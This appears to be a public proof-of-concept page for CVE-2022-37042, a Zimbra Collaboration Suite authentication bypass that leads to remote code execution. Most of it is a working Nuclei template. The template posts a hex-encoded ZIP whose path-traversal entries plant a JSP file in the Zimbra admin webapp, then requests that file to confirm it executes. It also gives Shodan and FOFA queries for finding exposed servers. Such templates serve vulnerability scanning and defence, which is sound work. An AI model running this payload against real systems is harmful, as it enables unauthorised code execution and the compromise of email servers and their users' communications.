CVE-2022-37042: Zimbra Collaboration Suite 8.8.15/9.0 - Remote Code Execution

2025-08-01 Zimbra Collaboration Suite PoC Public

Description

Zimbra Collaboration Suite (ZCS) 8.8.15 and 9.0 has mboximport functionality that receives a ZIP archive and extracts files from it. By bypassing authentication (i.e., not having an authtoken), an attacker can upload arbitrary files to the system, leading to directory traversal and remote code execution. NOTE: this issue exists because of an incomplete fix for CVE-2022-27925.

PoC

id: CVE-2022-37042

info:
  name: Zimbra Collaboration Suite 8.8.15/9.0 - Remote Code Execution
  author: _0xf4n9x_,For3stCo1d
  severity: critical
  description: |
    Zimbra Collaboration Suite (ZCS) 8.8.15 and 9.0 has mboximport functionality that receives a ZIP archive and extracts files from it. By bypassing authentication (i.e., not having an authtoken), an attacker can upload arbitrary files to the system, leading to directory traversal and remote code execution. NOTE: this issue exists because of an incomplete fix for CVE-2022-27925.
  impact: |
    Unauthenticated attackers can bypass authentication and upload arbitrary files through the mboximport functionality, achieving directory traversal and remote code execution on Zimbra Collaboration Suite servers, potentially compromising email systems and sensitive communications.
  remediation: |
    Apply the latest security patches or upgrade to a non-vulnerable version of Zimbra Collaboration Suite.
  reference:
    - https://www.volexity.com/blog/2022/08/10/mass-exploitation-of-unauthenticated-zimbra-rce-cve-2022-27925/
    - https://blog.zimbra.com/2022/08/authentication-bypass-in-mailboximportservlet-vulnerability/
    - https://github.com/vnhacker1337/CVE-2022-27925-PoC
    - https://nvd.nist.gov/vuln/detail/CVE-2022-37042
    - https://wiki.zimbra.com/wiki/Security_Center
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-37042
    cwe-id: CWE-22
    epss-score: 0.91893
    epss-percentile: 0.99811
    cpe: cpe:2.3:a:zimbra:collaboration:8.8.15:-:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: zimbra
    product: collaboration
    shodan-query:
      - http.favicon.hash:"1624375939"
      - http.favicon.hash:"475145467"
    fofa-query:
      - app="zimbra-邮件系统"
      - icon_hash="475145467"
      - icon_hash="1624375939"
  tags: cve,cve2022,zimbra,rce,unauth,kev,vkev,vuln

http:
  - raw:
      - |
        POST {{path}} HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        content-type: application/x-www-form-urlencoded

        {{hex_decode("504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000000000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000f00000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b05060000000002000200d6000000e00100000000")}}
      - |
        GET /zimbraAdmin/0MVzAe6pgwe5go1D.jsp HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - /service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1
        - /service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 401'
          - 'status_code_2 == 200'
          - "contains(body_2,'NcbWd0XGajaWS4DmOvZaCkxL1aPEXOZu')"
        condition: and
# digest: 490a0046304402200987e9ebbb3af512729f3ce07f1dc928f67cb521e423e36530e06279a131fee202203d53a629f7243146a1a08e62d8ca058128918537c08d4e5faab0fd0d436bbc32:922c64590222798bb761d5b6d8e72950

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